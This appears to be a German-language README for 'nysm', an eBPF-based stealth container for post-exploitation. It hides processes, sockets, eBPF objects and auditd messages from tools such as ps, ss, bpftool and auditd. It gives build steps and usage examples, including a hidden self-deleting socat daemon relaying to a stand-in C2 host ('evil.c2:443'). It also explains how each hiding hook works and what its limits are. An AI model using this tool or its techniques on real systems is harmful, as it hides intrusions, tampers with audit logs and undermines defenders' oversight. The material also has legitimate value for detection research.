
eBPF-basierter stealthiger Container, der Prozesse, Sockets, eBPF-Objekte und Audit-Logs vor Systemüberwachungswerkzeugen verbirgt und so verdeckte Post-Exploitation-Operationen ermöglicht.
Ein unsichtbarer Post-Exploitation-Container.
Mit dem zunehmenden Interesse an eBPF-basierten Offensiv-Tools, von Credential-Stealern bis hin zu Rootkits, die ihre eigene PID verstecken, stellte sich uns die Frage: Wäre es möglich, eBPF für sich selbst unsichtbar zu machen? Daraus entstand nysm, ein eBPF-Tarncontainer, der offensive Werkzeuge unter dem Radar von Systemadministratoren fliegen lassen soll – nicht nur durch das Verstecken von eBPF, sondern viel mehr:
Alle diese Werkzeuge werden blind für das, was durch nysm läuft. Es versteckt:
Warnung Dieses Tool ist eine einfache Demonstration der eBPF-Fähigkeiten. Es erhebt keinen Anspruch auf Vollständigkeit. Dennoch sind Pull-Requests mehr als willkommen.
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm ist ein einfaches Programm, das vor dem gewünschten Befehl ausgeführt wird:
Verwendung: nysm [OPTION...] BEFEHL
Tarncontainer für eBPF.
-d, --detach BEFEHL im Hintergrund ausführen
-r, --rm Nach Ausführung selbst zerstören
-v, --verbose Ausführliche Ausgabe erzeugen
-h, --help Diese Hilfe anzeigen
--usage Kurze Verwendungshilfe anzeigen
Eine versteckte bash ausführen:
./nysm bash
Ein verstecktes ssh ausführen und ./nysm entfernen:
./nysm -r ssh user@domain
Ein verstecktes socat als Daemon ausführen und ./nysm entfernen:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Da eBPF keine zurückgegebenen Werte oder Kernel-Adressen überschreiben kann, ist unser Ziel, den systemnahen Aufruf zu finden, der mit einer Userspace-Adresse interagiert, dessen Wert zu überschreiben und die gewünschten Objekte zu verstecken.
Um nysm-Ereignisse von anderen zu unterscheiden, läuft alles in einem separaten PID-Namensraum.
bpftool hat einige Funktionen, die nysm umgehen möchte: bpftool prog list, bpftool map list und bpftool link list.
Wie jedes eBPF-Programm verwendet bpftool den Systemaufruf bpf(), genauer gesagt die Befehle BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID und BPF_LINK_GET_NEXT_ID. Das Ergebnis dieser Aufrufe wird in der Userspace-Adresse gespeichert, auf die das attr-Argument zeigt.
Um uattr zu überschreiben, wird am Einstiegspunkt von bpf() ein Tracepoint gesetzt, um die adressierte Adresse in einer Map zu speichern. Danach wartet es auf den Tracepoint am Ende von bpf(). Wenn bpf() beendet wird, kann nysm über die bpf_attr-Struktur lesen und schreiben. Nach jedem BPF_*_GET_NEXT_ID wird bpf_attr.start_id durch bpf_attr.next_id ersetzt.
Um bestimmte IDs zu verstecken, überprüft es bpf_attr.next_id und ersetzt sie durch die nächste ID, die nicht in nysm erstellt wurde.
Programm-, Map- und Link-IDs werden von security_bpf_prog(), security_bpf_map() und bpf_link_prime() gesammelt.
Auditd erhält seine Protokolle von recvfrom(), das seine Nachrichten in einem Puffer speichert.
Wenn die empfangene Nachricht von einem nysm-Prozess über audit_log_end() erzeugt wurde, ersetzt es die Nachrichtenlänge im nlmsghdr-Header durch 0.
Das Verstecken von PIDs mit eBPF ist nichts Neues. nysm versteckt neue PIDs von alloc_pid() vor getdents64() in /proc, indem es die Länge des vorherigen Eintrags ändert.
Da getdents64() eine Schleife durch alle Dateien erfordert, wird das eBPF-Befehlslimit leicht erreicht. Daher verwendet nysm Tail Calls, bevor es dieses Limit erreicht.
Sockets zu verstecken ist ein starkes Wort. Tatsächlich sind geöffnete Sockets für viele Tools bereits unsichtbar, da sie den Prozess nicht in /proc finden können. Dennoch verwendet ss den socket()-Aufruf mit dem Flag NETLINK_SOCK_DIAG, das alle derzeit geöffneten Sockets zurückgibt. Danach erhält ss das Ergebnis über recvmsg() in einem Nachrichtenpuffer, und der zurückgegebene Wert ist die Länge all dieser Nachrichten kombiniert.
Hier wird die gleiche Methode wie bei den PIDs angewendet: Die Länge der vorherigen Nachricht wird geändert, um nysm-Sockets zu verstecken.
Diese werden von den connect()- und bind()-Aufrufen gesammelt.
Trotz aller Bemühungen hat nysm noch einige Einschränkungen.
Jedes Tool, das seine Dateideskriptoren nicht schließt, wird nysm-Prozesse erkennen, die erstellt werden, während sie geöffnet sind. Wenn beispielsweise ./nysm bash vor top ausgeführt wird, werden die Prozesse nicht angezeigt. Wenn jedoch ein weiterer Prozess von dieser bash-Instanz erstellt wird, während top noch läuft, wird der neue Prozess erkannt. Das gleiche Problem tritt bei Sockets und Tools wie nethogs auf.
Kernel-Protokolle: dmesg und /var/log/kern.log: Die Meldung nysm[<PID>] ist dabei, ein Programm mit dem bpf_probe_write_user-Helfer zu installieren, das den Benutzerspeicher beschädigen kann! erscheint mehrmals aufgrund des eBPF-Verifikators beim Ausführen von nysm.
Viele in Dateien geschriebene Spuren bleiben erhalten, da das Hooken von read() und write() zu aufwendig wäre (aber dennoch möglich). Zum Beispiel /proc/net/tcp oder /sys/kernel/debug/tracing/enabled_functions.
Natürlich haben viele dieser Einschränkungen ihre eigenen Lösungen. Auch hier sind Pull-Requests mehr als willkommen.
Das Verstecken von ss recvmsg kann eine Herausforderung sein, da ein neuer Socket am Anfang des Puffers auftauchen kann und nysm ihn nicht mit einem vorhergehenden Eintrag verstecken kann (dies gilt nicht für PIDs). Eine schnelle Lösung könnte sein, den ersten mit dem nächsten legitimen Socket zu tauschen, aber was ist, wenn ein Socket allein im Puffer ist? Daher ändert nysm die Informationen des ersten Sockets mit fest codierten Werten.
Das Ausführen von bpf() mit irgendeinem BPF_*_GET_NEXT_ID-Flag aus einem nysm-Kindprozess sollte vermieden werden, da es alle nicht-nysm-eBPF-Objekte verstecken würde.